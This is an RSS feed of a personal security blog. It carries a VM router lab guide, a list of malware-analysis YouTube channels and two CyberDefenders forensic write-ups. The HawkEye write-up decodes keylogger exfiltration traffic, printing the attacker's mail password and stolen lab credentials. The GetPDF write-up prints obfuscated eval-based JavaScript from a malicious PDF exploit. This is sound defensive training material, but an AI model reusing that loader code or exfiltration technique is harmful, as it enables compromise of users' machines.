<li><p>This is a good summary of AWS articles: <a target="_blank" href="https://shekhargulati.com/2021/12/03/key-insights-from-amazon-builder-library/">link</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/theanalyst/awesome-distributed-systems">Awesome Distributed Systems</a></p>
</li>
<li><p><a target="_blank" href="https://lahin31.github.io/system-design-bangla/">সিস্টেম ডিজাইন বাংলা | system-design-bangla</a></p>
</li>
<li><p>Not directly about sysdesign, but will make your foundation strong if you go through - <a target="_blank" href="https://github.com/jwasham/coding-interview-university">Coding Interview University</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Convert a Linux machine into a Router]]></title><description><![CDATA[Introduction
I've used VMware workstation for virtualization. You can use Virtual Box and follow this steps. Just interface name will be different.Also, ubuntu server 22.04 iso is used for creating 3 virtual machines - client, router, server.
Create ...]]></description><link>https://blog.kcnaiamh.com/convert-a-linux-machine-into-a-router</link><guid isPermaLink="true">https://blog.kcnaiamh.com/convert-a-linux-machine-into-a-router</guid><category><![CDATA[router]]></category><category><![CDATA[networking]]></category><category><![CDATA[network]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Thu, 18 Jan 2024 04:18:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/mhA3QOXME5M/upload/23e237a0b34aa3e5075c1410f2221dd4.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>I've used VMware workstation for virtualization. You can use Virtual Box and follow this steps. Just interface name will be different.<br />Also, <code>ubuntu server 22.04</code> iso is used for creating 3 virtual machines - <em>client, router, server</em>.</p>
<h1 id="heading-create-network">Create Network</h1>
<ul>
<li><p>vmnet8: NAT - <code>192.168.22.0/24</code> - DHCP (<em>for internet connection</em>)</p>
</li>
<li><p>vmnet2: Host-only - <code>10.10.1.0/24</code></p>
</li>
<li><p>vmnet3: Host-only - <code>10.10.2.0/24</code></p>
</li>
</ul>
<h1 id="heading-building-router">Building Router</h1>
<p>Create a VM using <code>ubuntu server 22.04</code> iso image.<br />It will use the following configurations:</p>
<ul>
<li><p>RAM: 2048 MB</p>
</li>
<li><p>Processors: 1</p>
</li>
<li><p>Network Adapter 1 → vmnet8</p>
</li>
<li><p>Network Adapter 2 → vmnet2</p>
</li>
<li><p>Network Adapter 3 → vmnet3</p>
</li>
</ul>
<p>Setup the configuration of these 3 interface in <code>/etc/netplan/*.yaml</code> file.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">network:</span>
    <span class="hljs-attr">ethernets:</span>
        <span class="hljs-attr">ens33:</span>
            <span class="hljs-attr">dhcp4:</span> <span class="hljs-literal">true</span>
        <span class="hljs-attr">ens36:</span>
            <span class="hljs-attr">addresses:</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.1</span><span class="hljs-number">.1</span><span class="hljs-string">/24</span>]
        <span class="hljs-attr">ens37:</span>
            <span class="hljs-attr">addresses:</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.2</span><span class="hljs-number">.1</span><span class="hljs-string">/24</span>]
    <span class="hljs-attr">version:</span> <span class="hljs-number">2</span>
</code></pre>
<p>The above configuration:</p>
<ol>
<li><p>Enables the DHCP protocol on <code>ens33</code> interface. IP and gateway address will be set dynamically.</p>
</li>
<li><p>Sets IP address of <code>ens36</code> interface.</p>
</li>
<li><p>Sets IP address of <code>ens37</code> interface.</p>
</li>
</ol>
<p>Change permission: <code>sudo chmod 600 *.yaml</code><br />Apply the change: <code>sudo netplan apply</code></p>
<p>Stop and remove UFW firewall.</p>
<pre><code class="lang-bash">sudo systemctl stop ufw
sudo apt purge ufw
</code></pre>
<h1 id="heading-building-client">Building Client</h1>
<p>Clone the router VM. Go to settings and delete adapter 1, 3.</p>
<p>Configure the interface using netplan. in <code>/etc/netplan/*.yaml</code> file.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">network:</span>
    <span class="hljs-attr">ethernets:</span>
        <span class="hljs-attr">ens36:</span>
            <span class="hljs-attr">addresses:</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.1</span><span class="hljs-number">.10</span><span class="hljs-string">/24</span>]
            <span class="hljs-attr">routes:</span>
                <span class="hljs-bullet">-</span> <span class="hljs-attr">to:</span> <span class="hljs-string">default</span>
                  <span class="hljs-attr">via:</span> <span class="hljs-number">10.10</span><span class="hljs-number">.1</span><span class="hljs-number">.1</span>
            <span class="hljs-attr">nameservers:</span>
        <span class="hljs-attr">addresses:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">8.8</span><span class="hljs-number">.8</span><span class="hljs-number">.8</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">8.8</span><span class="hljs-number">.4</span><span class="hljs-number">.4</span>
    <span class="hljs-attr">version:</span> <span class="hljs-number">2</span>
</code></pre>
<p>The above configuration:</p>
<ol>
<li><p>Sets device IP address (<code>10.10.1.10</code>) and Netmask (<code>/24</code>).</p>
</li>
<li><p>Sets any destination IP address route except this network will go to specific gateway (<code>10.10.1.1</code>).</p>
</li>
</ol>
<p>Apply the change: <code>sudo netplan apply</code></p>
<h1 id="heading-building-server">Building Server</h1>
<p>Clone the router VM. Go to settings and delete adapter 1, 2.</p>
<p>Configure the interface in <code>/etc/netplan/*.yaml</code> file.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">network:</span>
    <span class="hljs-attr">ethernets:</span>
        <span class="hljs-attr">ens37:</span>
            <span class="hljs-attr">addresses:</span> [<span class="hljs-number">10.10</span><span class="hljs-number">.2</span><span class="hljs-number">.20</span><span class="hljs-string">/24</span>]
            <span class="hljs-attr">routes:</span>
                <span class="hljs-bullet">-</span> <span class="hljs-attr">to:</span> <span class="hljs-string">default</span>
                  <span class="hljs-attr">via:</span> <span class="hljs-number">10.10</span><span class="hljs-number">.2</span><span class="hljs-number">.1</span>
            <span class="hljs-attr">nameservers:</span>
        <span class="hljs-attr">addresses:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">8.8</span><span class="hljs-number">.8</span><span class="hljs-number">.8</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">8.8</span><span class="hljs-number">.4</span><span class="hljs-number">.4</span>
    <span class="hljs-attr">version:</span> <span class="hljs-number">2</span>
</code></pre>
<p>Apply the change: <code>sudo netplan apply</code></p>
<p>Now both client and server can communicate with the router.</p>
<blockquote>
<p><strong>Client (or Server) VM can't ping the Router VM?</strong></p>
<p>Ping client (or server) from the router.<br />This will invoke the ARP request to get the MAC address of client (or server).</p>
</blockquote>
<h1 id="heading-enable-packet-forwarding">Enable packet forwarding</h1>
<p>Router need to forward packet from one interface to another. Thant's why we need to enable packet forwarding.</p>
<pre><code class="lang-bash">sudo <span class="hljs-built_in">echo</span> 1 &gt; /proc/sys/net/ipv4/ip_forward
</code></pre>
<h1 id="heading-source-nat-for-local-network">Source NAT for local network</h1>
<p>From the configured infrastructure, we know that two host-only network is in <code>10.10.1.0/24</code> &amp; <code>10.10.2.0/24</code> range. Devices connected in these network is configured with <code>10.10.1.1</code> &amp; <code>10.10.2.1</code> IP address respectively as Gateway IP.</p>
<p>(we don't need to configure MAC address manually. All interface will get the MAC address through ARP broadcast, if they don't have it in cache.)</p>
<p>The router has three network interfaces; <code>ens36</code> &amp; <code>ens37</code> for two different host-only network and <code>ens33</code> for internet-facing connection.</p>
<p>Now your packet from client (or server) can go to routers appropriate interface. If the packet goes from one network to another, the gateway would not recognize the source IP. It will send ARP request to the network to get MAC address of the source IP. If it doesn't get response, it will drop it.</p>
<p>So, to send the packet of different network, we are going to change the source IP address with interfaces own IP address.</p>
<p>We will run the following two rules in router VM to do IP Masquerading when the packet is coming form <code>10.10.1.0/24</code> and <code>10.10.2.0/24</code> network.</p>
<pre><code class="lang-bash">sudo iptables -t nat -s 10.10.1.0/24 -A POSTROUTING -j MASQUERADE
</code></pre>
<pre><code class="lang-bash">sudo iptables -t nat -s 10.10.2.0/24 -A POSTROUTING -j MASQUERADE
</code></pre>
<p>Now, say a device in local network with IP address 10.10.1.10 wants to access a website on the internet. When the device sends a packet to the gateway, the iptables rule kicks in.</p>
<p>The source IP address (10.10.1.10) of the outgoing packet is dynamically replaced with the routers private IP address of the <code>ens33</code> interface.</p>
<p>This is called IP Masquerading. In this process, nothing is changed except the source IP.</p>
<h2 id="heading-tracing-ip-on-different-interface">Tracing IP on different interface</h2>
<p>I have used tcpdump to check the source and destination IP address of a packet in every interface.</p>
<p><strong>The following table shows when a packet is going form client machine to server machine:</strong></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Client Interface</td><td>Router Interface</td><td>Server Interface</td></tr>
</thead>
<tbody>
<tr>
<td><em>ens36:</em> 10.10.1.10 &gt; 10.10.2.20</td><td><em>ens36:</em> 10.10.1.10 &gt; 10.10.2.20<br /><em>ens33:</em> -<br /><em>ens37:</em> <strong>10.10.2.1</strong> &gt; 10.10.2.20</td><td><em>ens37:</em> <strong>10.10.2.1</strong> &gt; 10.10.2.20</td></tr>
</tbody>
</table>
</div><p><strong>The following table shows when a packet is going from server machine to internet:</strong></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Server Interface</td><td>Router Interface</td><td>Client Interface</td></tr>
</thead>
<tbody>
<tr>
<td><em>ens37:</em> 10.10.2.20 &gt; 1.1.1.1</td><td><em>ens36:</em> -<br /><em>ens33:</em> <strong>192.168.22.132</strong> &gt; 1.1.1.1<br /><em>ens37:</em> 10.10.2.20 &gt; 1.1.1.1</td><td><em>ens36:</em> -</td></tr>
</tbody>
</table>
</div><h2 id="heading-how-packet-is-moving-from-one-interface-to-other">How packet is moving from one interface to other</h2>
<p>When a packet comes, linux kernel checks the routing table to determine the appropriate interface for the packet.</p>
<p>If the packet was destined for the internet, the routing table directs the packet to the <code>ens33</code> interface. After going to that interface, in POSTROUTING chain, the source IP is changed to current interface's IP.</p>
<p>If the packet was destined for the server VM, the routing table would direct the packet to <code>ens37</code> interface. Similar to above, the source IP would change.</p>
]]></content:encoded></item><item><title><![CDATA[Malware Analysis and Reverse Engineering YouTube Channels]]></title><description><![CDATA[I﻿ regularly follow these YouTube channels for Malware Analysis and Reverse Engineering contents.

AhmedS Kasmani

Amr Thabet - MalTrak

ANY.RUN

crow

cazz

CursoReversing

Flashback Team

Marcus Hutchins

MalwareAnalysisForHedgehogs

MalwareAficion...]]></description><link>https://blog.kcnaiamh.com/malware-analysis-and-reverse-engineering-youtube-channels</link><guid isPermaLink="true">https://blog.kcnaiamh.com/malware-analysis-and-reverse-engineering-youtube-channels</guid><category><![CDATA[malware analysis]]></category><category><![CDATA[Malware]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[YouTube Channel]]></category><category><![CDATA[youtube]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Mon, 11 Sep 2023 18:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1718425828276/13db3309-7a99-41b6-aabf-461179a33b2a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I﻿ regularly follow these YouTube channels for Malware Analysis and Reverse Engineering contents.</p>
<ol>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC0vsNncAvJlPh2XGUi5s33Q/videos">AhmedS Kasmani</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCMJenhWTUwcnpNTW08EaqTw/videos">Amr Thabet - MalTrak</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCOgCPho7lzmH7m6fPNlukrQ/videos">ANY.RUN</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCMqXCTXulFWHrmd2588IqJw/videos">crow</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC9iIZaEy1r_q6CRAiXBqXOA/videos">cazz</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCPNPSP20z4FGfgMJ71VOJjw/videos">CursoReversing</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCBrKPoIYCS7BlT7Q_UiBwAQ/videos">Flashback Team</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCLDnEn-TxejaDB8qm2AUhHQ/videos">Marcus Hutchins</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A/videos">MalwareAnalysisForHedgehogs</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC6JUjjZRFCcwCrVj7a_iozg/videos">MalwareAficionado</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCdhYL47wLxxKOyaRsk4Moaw/videos">MalGamy</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCoyNuc5bJ-z4X-6OlpNtJUw/videos">Make Me Hack</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC6biysICWOJ-C3P4Tyeggzg/videos">Low Level Learning</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCBaWwFw7KmCN8YlfX4ERYKg/videos">pwn.college</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg/videos">OALabs</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC3S8vxwRfqLBdIhgRlDRVzw/videos">stacksmashing</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCDk155eaoariJF2Dn2j5WKA/videos">Zer0Mem0ry</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCKGe7fZ_S788Jaspxg-_5Sg/videos">The PC Security Channel</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCty9-mt4eikIaLcR34Y0XCg/videos">0x6d696368</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCPqes566OZ3G_fjxL6BngRQ/videos">0x41414141</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCYKUCM--rF5yC0c1a1rTgBQ/videos">0xca7</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCk9BugRahSWgPLYOAA3QH4w/videos">c3rb3ru5d3d53c</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCsUSC5Ot1eFBKrEQWIEDLmQ/videos">Duncan Ogilvie</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC56l7uZA209tlPTVOJiJ8Tw/videos">Low Byte Productions</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCCMi6F5Ac3kQDfffWXQGZDw/videos">Guided Hacking</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCq7dxy_qYNEBcHqQVCbc20w/videos">Creel</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCSXxklOmlUOJfjzOkKM07gg/videos">Mitch Edwards</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCJXa3_WNNmIpewOtCHf3B0g/videos">LaurieWired</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCA_Ct-5zDEOEnlxpjtitWXQ/videos">Path Cybersec</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCNMyh6ijuKc6HZ6h7qjcm-w/videos">All things IDA</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UC5-rNGe-OhG_KxwYN4DuNVQ/videos">dist67</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCD4qj6wPGsnRFJHcrFpqbxQ/videos">Anuj Soni</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCND1KVdVt8A580SjdaS4cZg/videos">cybercdh</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCK1_Mwl_1FEH7z7MZPsAGvA/videos">Boston Cybernetics</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/channel/UCHF0dZH4SrsnR3Vh5eEeYRw/videos">TactiKoolSec</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[HawkEye Writeup - CyberDefenders]]></title><description><![CDATA[An accountant at your organization received an email regarding an invoice with a download link. Suspicious network traffic was observed shortly after opening the email. As a SOC analyst, investigate the network trace and analyze exfiltration attempts...]]></description><link>https://blog.kcnaiamh.com/hawkeye-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/hawkeye-writeup-cyberdefenders</guid><category><![CDATA[#digitalforensic ]]></category><category><![CDATA[PCAP]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 05 Aug 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>An accountant at your organization received an email regarding an invoice with a download link. Suspicious network traffic was observed shortly after opening the email. As a SOC analyst, investigate the network trace and analyze exfiltration attempts.</p>
</blockquote>
<h2 id="heading-1-how-many-packets-does-the-capture-have">1. How many packets does the capture have?</h2>
<pre><code class="lang-plaintext">tshark -r stealer.pcap | wc -l
4003
</code></pre>
<h2 id="heading-2-at-what-time-was-the-first-packet-captured">2. At what time was the first packet captured?</h2>
<p>Go to statistics &gt; capture file properties. First packet capture time 2019-04-10 02:37:07 UTC.</p>
<h2 id="heading-3-what-is-the-duration-of-the-capture">3. What is the duration of the capture?</h2>
<p>Go to statistics &gt; capture file properties. Elapse time 01:03:41.</p>
<h2 id="heading-4-what-is-the-most-active-computer-at-the-link-level">4. What is the most active computer at the link level?</h2>
<p>Go to statistice &gt; endpoint in wireshark. Go to Ethernet tab. Sort the packets column in descending order. First MAC addres is the answer.</p>
<p>00:08:02:1c:47:ae</p>
<h2 id="heading-5-manufacturer-of-the-nic-of-the-most-active-system-at-the-link-level">5. Manufacturer of the NIC of the most active system at the link level?</h2>
<p>Searching first 3 byte of MAC address in google we found the manufacturer is Hewlett Packard.</p>
<h2 id="heading-6-where-is-the-headquarter-of-the-company-that-manufactured-the-nic-of-the-most-active-computer-at-the-link-level">6. Where is the headquarter of the company that manufactured the NIC of the most active computer at the link level?</h2>
<p>Googling Hewlett Packard headquarter we got the name is Palo Alto.</p>
<h2 id="heading-7-the-organization-works-with-private-addressing-and-netmask-24-how-many-computers-in-the-organization-are-involved-in-the-capture">7. The organization works with private addressing and netmask /24. How many computers in the organization are involved in the capture?</h2>
<p><img src="https://i.imgur.com/ekbPi9U.png" alt /></p>
<p>10.4.10.0/24 is local network. Here 10.4.10.255 is broadcast IP. So, there are 3 computers.</p>
<h2 id="heading-8-what-is-the-name-of-the-most-active-computer-at-the-network-level">8. What is the name of the most active computer at the network level?</h2>
<p><img src="https://imgur.com/nZQ16r0.png" alt /></p>
<p>We can see most active computer at network level is 10.4.10.132. So, using <code>ip.addr==10.4.10.132 &amp;&amp; frame contains -pc</code> display filter we get 5 packets. Following the tcp stream we get name.</p>
<p>BEIJING-5CD1-PC</p>
<h2 id="heading-9-what-is-the-ip-of-the-organizations-dns-server">9. What is the IP of the organization's DNS server?</h2>
<p>Using <code>dns.flags == 0x0100</code> display filter we see DNS query request is going to <code>10.4.10.4</code> IP.</p>
<h2 id="heading-10-what-domain-is-the-victim-asking-about-in-packet-204">10. What domain is the victim asking about in packet 204?</h2>
<p><a target="_blank" href="http://proforma-invoices.com">proforma-invoices.com</a></p>
<h2 id="heading-11-what-is-the-ip-of-the-domain-in-the-previous-question">11. What is the IP of the domain in the previous question?</h2>
<p>217.182.138.150</p>
<h2 id="heading-12-indicate-the-country-to-which-the-ip-in-the-previous-section-belongs">12. Indicate the country to which the IP in the previous section belongs.</h2>
<p>France (used <a target="_blank" href="https://whatismyipaddress.com/">https://whatismyipaddress.com/</a>)</p>
<h2 id="heading-13-what-operating-system-does-the-victims-computer-run">13. What operating system does the victim's computer run?</h2>
<p>Filter display packet <code>http</code> and follow the first packet. There you will get the operating system in user-agent. Windows NT 6.1</p>
<h2 id="heading-14-what-is-the-name-of-the-malicious-file-downloaded-by-the-accountant">14. What is the name of the malicious file downloaded by the accountant?</h2>
<p>Going to 'Statistics &gt; IPv4 Statistics &gt; All Addresses' we can see most of the communication is done between two addresses. So we can assume one is accountant (victim) and another is malicious server.</p>
<p><img src="https://i.imgur.com/8RTzLN8.png" alt /></p>
<p>Applying <code>ip.addr==217.182.138.150</code> display filter we find the following file is downloaded. The file size is quite large and is downloaded by segmented.</p>
<p>tkraw_Protected99.exe</p>
<h2 id="heading-15-what-is-the-md5-hash-of-the-downloaded-file">15. What is the md5 hash of the downloaded file?</h2>
<p>Going to 'File &gt; Export Objects &gt; HTTP' we can export the file. Then applying md5sum we get, 71826ba081e303866ce2a2534491a2f7</p>
<h2 id="heading-16-what-is-the-name-of-the-malware-according-to-malwarebytes">16. What is the name of the malware according to Malwarebytes?</h2>
<p>Google for 'Spyware.HawkEyeKeylogger'</p>
<h2 id="heading-17-what-software-runs-the-webserver-that-hosts-the-malware">17. What software runs the webserver that hosts the malware?</h2>
<p>Following 210 number packet.</p>
<p><img src="https://i.imgur.com/18kHMOT.png" alt /></p>
<h2 id="heading-18-what-is-the-public-ip-of-the-victims-computer">18. What is the public IP of the victim's computer?</h2>
<p>From stream 16</p>
<pre><code class="lang-plaintext">250-p3plcpnl0413.prod.phx3.secureserver.net Hello Beijing-5cd1-PC [173.66.146.112]
</code></pre>
<h2 id="heading-19-in-which-country-is-the-email-server-to-which-the-stolen-information-is-sent">19. In which country is the email server to which the stolen information is sent?</h2>
<p>Applying <code>smpt</code> display filter we get <code>23.229.162.69</code> mail server IP. United States</p>
<h2 id="heading-20-analyzing-the-first-extraction-of-information-what-software-runs-the-email-server-to-which-the-stolen-data-is-sent">20. Analyzing the first extraction of information. What software runs the email server to which the stolen data is sent?</h2>
<p>From stream 16 Exim 4.91</p>
<h2 id="heading-21-to-which-email-account-is-the-stolen-information-sent">21. To which email account is the stolen information sent?</h2>
<p>From stream 16</p>
<pre><code class="lang-plaintext">echo "c2FsZXMuZGVsQG1hY3dpbmxvZ2lzdGljcy5pbg==" | base64 -d  
sales.del@macwinlogistics.in
</code></pre>
<h2 id="heading-22-what-is-the-password-used-by-the-malware-to-send-the-email">22. What is the password used by the malware to send the email?</h2>
<p>From stream 16</p>
<pre><code class="lang-plaintext">echo "U2FsZXNAMjM=" | base64 -d  
Sales@23
</code></pre>
<h2 id="heading-23-which-malware-variant-exfiltrated-the-data">23. Which malware variant exfiltrated the data?</h2>
<p>From stream 16</p>
<pre><code class="lang-plaintext">echo "SGF3a0V5ZSBLZXlsb2dnZXIgLSBSZWJvcm4gdjkgLSBQYXNzd29yZHMgTG9ncyAtIHJvbWFuLm1jZ3VpcmUgXCBCRUlKSU5HLTVDRDEtUEMgLSAxNzMuNjYuMTQ2LjExMg==" | base64 -d  
HawkEye Keylogger - Reborn v9 - Passwords Logs - roman.mcguire \ BEIJING-5CD1-PC - 173.66.146.112
</code></pre>
<p>Reborn v9</p>
<h2 id="heading-24-what-are-the-bankofamerica-access-credentials-usernamepassword">24. What are the bankofamerica access credentials? (username:password)</h2>
<p>After decoding stream 16 base64 encoded mail. roman.mcguire:P@ssw0rd$</p>
<h2 id="heading-25-every-how-many-minutes-does-the-collected-data-get-exfiltrated">25. Every how many minutes does the collected data get exfiltrated?</h2>
<p>After checking mail sending time of stream 16 &amp; 21 found the interval is 10 minutes.</p>
]]></content:encoded></item><item><title><![CDATA[GetPDF Writeup - CyberDefenders]]></title><description><![CDATA[PDF format is the de-facto standard in exchanging documents online. Such popularity, however, has also attracted cyber criminals in spreading malware to unsuspecting users. The ability to generate malicious pdf files to distribute malware is a functi...]]></description><link>https://blog.kcnaiamh.com/getpdf-writeup-cyberdefenders</link><guid isPermaLink="true">https://blog.kcnaiamh.com/getpdf-writeup-cyberdefenders</guid><category><![CDATA[#digitalforensic ]]></category><category><![CDATA[pdf]]></category><dc:creator><![CDATA[Naimul Islam]]></dc:creator><pubDate>Sat, 05 Aug 2023 18:00:00 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>PDF format is the de-facto standard in exchanging documents online. Such popularity, however, has also attracted cyber criminals in spreading malware to unsuspecting users. The ability to generate malicious pdf files to distribute malware is a functionality that has been built into many exploit kits. As users are less cautious about opening PDF files, the malicious PDF file has become quite a successful attack vector.<br />The network traffic is captured in lala.pcap contains network traffic related to a typical malicious PDF file attack, in which an unsuspecting user opens a compromised web page, which redirects the user’s web browser to a URL of a malicious PDF file. As the PDF plug-in of the browser opens the PDF, the unpatched version of Adobe Acrobat Reader is exploited and, as a result, downloads and silently installs malware on the user’s machine.</p>
<p>As a soc analyst, analyze the PDF and answer the questions.</p>
</blockquote>
<h2 id="heading-1-how-many-url-paths-are-involved-in-this-incident">1. How many URL path(s) are involved in this incident?</h2>
<pre><code class="lang-plaintext">tshark -r lala.pcap -Y http.request -T fields -e http.request.full_uri | sort -u | wc -l  
6
</code></pre>
<h2 id="heading-2-what-is-the-url-which-contains-the-js-code">2. What is the URL which contains the JS code?</h2>
<p>In tcp stream 0 I found <code>&lt;script&gt;</code> tag that contains JS.</p>
<pre><code class="lang-plaintext">http://blog.honeynet.org.my/forensic_challenge/
</code></pre>
<h2 id="heading-3-what-is-the-url-hidden-in-the-js-code">3. What is the URL hidden in the JS code?</h2>
<p><img src="https://imgur.com/Il3rV01.png" alt /></p>
<p>As GaDemee is eval so we will change it to colsole.log to print the payload.</p>
<p><img src="https://imgur.com/bpNT5el.png" alt /></p>
<h2 id="heading-4-what-is-the-md5-hash-of-the-pdf-file-contained-in-the-packet">4. What is the MD5 hash of the PDF file contained in the packet?</h2>
<p>Export the 'fcexploit.pdf' from 'file &gt; export object &gt; http' as this is only file which have content type as pdf.</p>
<pre><code class="lang-plaintext">md5sum fcexploit.pdf  
659cf4c6baa87b082227540047538c2a  fcexploit.pdf
</code></pre>
<h2 id="heading-5-how-many-objects-are-contained-inside-the-pdf-file">5. How many object(s) are contained inside the PDF file?</h2>
<pre><code class="lang-plaintext">&gt; pdfid.py fcexploit.pdf

PDFiD 0.2.8 fcexploit.pdf  
PDF Header: %PDF-1.3  
obj                   19  
endobj                18  
stream                 5  
endstream              5  
xref                   1  
trailer                1  
startxref              1  
/Page                  2  
/Encrypt               0  
/ObjStm                0  
/JS                    1  
/JavaScript            1  
/AA                    0  
/OpenAction            1  
/AcroForm              1  
/JBIG2Decode           0  
/RichMedia             0  
/Launch                0  
/EmbeddedFile          1  
/XFA                   1  
/URI                   0  
/Colors &gt; 2^24         0
</code></pre>
<h2 id="heading-6-how-many-filtering-schemes-are-used-for-the-object-streams">6. How many filtering schemes are used for the object streams?</h2>
<pre><code class="lang-plaintext">&gt; pdf-parser.py -s filter fcexploit.pdf    

obj 5 0  
Type:    
Referencing:    
Contains stream  

 &lt;&lt;  
   /Length 395  
   /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ]  
 &gt;
[...]
</code></pre>
<h2 id="heading-7-what-is-the-number-of-the-object-stream-that-might-contain-malicious-js-code">7. What is the number of the 'object stream' that might contain malicious JS code?</h2>
<p>Using peepdf I found object 4 contains JS, Javascript string and object 5 contains Javascript code. Going to object 4 it points to object 5, which contains javascript code.</p>
<pre><code class="lang-plaintext">&gt; peepdf -i -f fcexploit.pdf  

File: fcexploit.pdf  
MD5: 659cf4c6baa87b082227540047538c2a  
SHA1: a93bf00077e761152d4ff8a695c423d14c9a66c9  
SHA256: ba3c7c763f7910ef956e27be054e9271b00d05aab9fb153cdf30001ce422d68a  
Size: 25169 bytes  
Version: 1.3  
Binary: True  
Linearized: False  
Encrypted: False  
Updates: 0  
Objects: 18  
Streams: 5  
URIs: 0  
Comments: 0  
Errors: 2  

Version 0:  
       Catalog: 27  
       Info: 11  
       Objects (18): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 22, 23, 24, 25, 26, 27, 28]  
               Errors (1): [11]  
       Streams (5): [5, 7, 9, 10, 11]  
               Encoded (4): [5, 7, 9, 10]  
       Objects with JS code (1): [5]  
       Suspicious elements:  
               /AcroForm (1): [27]  
               /OpenAction (1): [1]  
               /XFA (1): [28]  
               /JS (1): [4]  
               /JavaScript (1): [4]  
               getAnnots (CVE-2009-1492) (1): [5]  



PPDF&gt; object 4  

&lt;&lt; /Type /Action  
/S /JavaScript  
/JS 5 0 R &gt;&gt;  

PPDF&gt; object 5  

&lt;&lt; /Length 395  
/Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] &gt;&gt;  
stream  

var SSS=null;var SS="ev";var $S="";$5="in";app.doc.syncAnnotScan();S$="ti";if(app.plugIns.length!=0){var $$=0;S$+="tl";$5+="fo";____SSS=app.doc.getAnnots({nPage:0});S$+="e  
";$S=this.info.title;}var S5="";if(app.plugIns.length&gt;3){SS+="a";var arr=$S.split(/U_155bf62c9aU_7917ab39/);for(var $=1;$&lt;arr.length;$++){S5+=String.fromCharCode("0x"+arr[  
$]);}SS+="l";}if(app.plugIns.length&gt;=2){app[SS](S5);}  

endstream
</code></pre>
<h2 id="heading-8-analyzing-the-pdf-file-what-object-streams-contain-the-js-code-responsible-for-executing-the-shellcodes-the-js-code-is-divided-into-two-streams-format-two-numbers-separated-with-put-the-numbers-in-ascending-order">8. Analyzing the PDF file. What 'object-streams' contain the JS code responsible for executing the shellcodes? The JS code is divided into two streams. Format: two numbers separated with ','. Put the numbers in ascending order</h2>
<p>From peepdf we find object 5, 7, 9, 10, 11 has stream of content.</p>
<pre><code class="lang-plaintext">[...]
Streams (5): [5, 7, 9, 10, 11]
[...]
</code></pre>
<p>So to see the streams I opened the pdf in 'pdf stream dumper' tool. The tools shows all the stream objects in blue color. Object 5 has javascript code. So I open javascript UI to run the code.</p>
